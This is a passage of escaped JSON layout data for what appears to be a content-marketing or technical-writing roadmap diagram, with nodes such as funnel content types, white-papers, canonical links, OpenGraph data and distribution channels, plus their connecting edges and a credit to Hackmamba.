\"y\": 1510.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Top-funnel Content\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 533.3803672996291,\n        \"y\": 1510.3854162300877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wBDjGa2PgdmeXxHnILFjY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 520.8803672996291,\n        \"y\": 1597.2977449847244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pillar Content\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 520.8803672996291,\n        \"y\": 1597.2977449847244\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7S2lymeBZSMBZSsmei7us\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 520.8803672996291,\n        \"y\": 1650.2977449847244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Awareness Blog Posts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 520.8803672996291,\n        \"y\": 1650.2977449847244\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HoNQSWy82ybT0YmejCzRb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 520.8803672996291,\n        \"y\": 1703.2977449847244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Research Reports\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 520.8803672996291,\n        \"y\": 1703.2977449847244\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Q2KD70IKwBXAH3UQgeZpp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 801.3849507669174,\n        \"y\": 1510.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mid-funnel Content\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 801.3849507669174,\n        \"y\": 1510.3854162300877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XDX2QxMUkUok2fcS3tFki\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 785.8849507669174,\n        \"y\": 1606.3892684775974\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Generic Gated Content\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 785.8849507669174,\n        \"y\": 1606.3892684775974\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xa7yBWcbP2aPs4u0C4cLJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 785.8849507669172,\n        \"y\": 1659.3892684775974\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"White-papers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 785.8849507669172,\n        \"y\": 1659.3892684775974\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5zQpravkqwafvwXVOuNPX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 939.8849507669174,\n        \"y\": 1659.3892684775974\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"eBook\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 939.8849507669174,\n        \"y\": 1659.3892684775974\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vo1udIIRpxNZCpA3g32F3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1047.1877382711257,\n        \"y\": 1510.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bottom-funnel Content\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1047.1877382711257,\n        \"y\": 1510.3854162300877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2wjRA_pQ9cCG9Ww994FEM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 973.9629129969998,\n        \"y\": 1427.3781906911768\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Comparative Posts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190\n      },\n      \"positionAbsolute\": {\n        \"x\": 973.9629129969998,\n        \"y\": 1427.3781906911768\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K459CcDrcPMJCimIcCzM6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1167.1877382711257,\n        \"y\": 1427.3781906911768\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tutorials\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1167.1877382711257,\n        \"y\": 1427.3781906911768\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-GZXLc9RjY6eWkKC1K_Rg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 888.405148207419,\n        \"y\": 1741.1749108232366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Release Notes / Product Announcements\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 369,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 369,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 888.405148207419,\n        \"y\": 1741.1749108232366\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 369,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W44q1iEj7RKM55-9jabMJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 888.405148207419,\n        \"y\": 1794.1749108232366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Customer Case-Studies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 369,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 369,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 888.405148207419,\n        \"y\": 1794.1749108232366\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 369,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pgrKfp1trcIxhDdvLk95g\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 888.405148207419,\n        \"y\": 1900.1749108232366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frequently Asked Questions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 369,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 369,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 888.405148207419,\n        \"y\": 1900.1749108232366\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 369,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tAFenZA0MFhMPE5cevNuD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 888.405148207419,\n        \"y\": 1847.1749108232366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Technical Website Copy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 369,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 369,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 888.405148207419,\n        \"y\": 1847.1749108232366\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 369,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XyFEYDJvJpGZ7qSdoSZeI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 587.8849507669174,\n        \"y\": 1881.7375321604657\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 587.8849507669174,\n        \"y\": 1881.7375321604657\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TbSBCITdLswhVB82fErTP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 258.3844471863894,\n        \"y\": 1881.7375321604657\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 258.3844471863894,\n        \"y\": 1881.7375321604657\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qpOfqbgLy5TzlNQEyt6DG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.38444718638942,\n        \"y\": 1640.2206725696728\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Link Shorteners / Tracking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 211.38444718638942,\n        \"y\": 1640.2206725696728\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hlhBgI3SvU3tMtNaHtu8k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.38444718638942,\n        \"y\": 1693.2206725696728\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Platform Tracking and Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 211.38444718638942,\n        \"y\": 1693.2206725696728\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UiXn-CnPcLWAflKJzaJ2a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.38444718638942,\n        \"y\": 1746.2206725696728\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conversion Tracking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 211.38444718638942,\n        \"y\": 1746.2206725696728\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JgdrXG7MX1gGuNG9uyubA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.38444718638942,\n        \"y\": 1799.2206725696728\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Aging & Timelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 211.38444718638942,\n        \"y\": 1799.2206725696728\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mrqBxsNRl1CQEKtuYSy9F\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 588.7670925742796,\n        \"y\": 2030.6997330921204\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Distribution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 588.7670925742796,\n        \"y\": 2030.6997330921204\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NIxIhMEOxrUR8nbjbF_Fp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 875.4800870292461,\n        \"y\": 1977.6997330921204\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Canonical Link\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 875.4800870292461,\n        \"y\": 1977.6997330921204\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AarJ887P-SFRnKaOOv9yw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1049.4824955422164,\n        \"y\": 1977.6997330921204\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OpenGraph Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1049.4824955422164,\n        \"y\": 1977.6997330921204\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m9-DqsQfeukmhjhIfCph-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 876.4824955422164,\n        \"y\": 2030.6997330921204\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Distribution Channels\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388\n      },\n      \"positionAbsolute\": {\n        \"x\": 876.4824955422164,\n        \"y\": 2030.6997330921204\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_cAGbAswDhOqpoiiikPbD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 876.4824955422164,\n        \"y\": 2083.6997330921204\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Distribution Amplification Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 388,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 388,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 876.4824955422164,\n        \"y\": 2083.6997330921204\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KEP_DmmmIbG5zdC0dj6a_\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 568.2670925742796,\n        \"y\": 2184.519385286052\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Keep Learning\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 55,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 55\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 568.2670925742796,\n        \"y\": 2184.519385286052\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"vxDLRIXVZFTbfqiOmjUER\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 202.87564859782253,\n        \"y\": 83.84893300452893\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shout-out to Hackmamba who helped make this roadmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 314,\n      \"height\": 148,\n      \"style\": {\n        \"width\": 314,\n        \"height\": 148\n      },\n      \"positionAbsolute\": {\n        \"x\": 202.87564859782253,\n        \"y\": 83.84893300452893\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 314,\n        \"height\": 148\n      }\n    },\n    {\n      \"id\": \"D5Gn7dAWlTB-Q0bbPc6ka\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 220.57235751308627,\n        \"y\": 165.8344964222742\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit their Website\",\n        \"href\": \"https://hackmamba.io/?utm_source=roadmapsh&utm_medium=web&utm_campaign=roadmap\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#d6d6d6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 280,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 220.57235751308627,\n        \"y\": 165.8344964222742\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      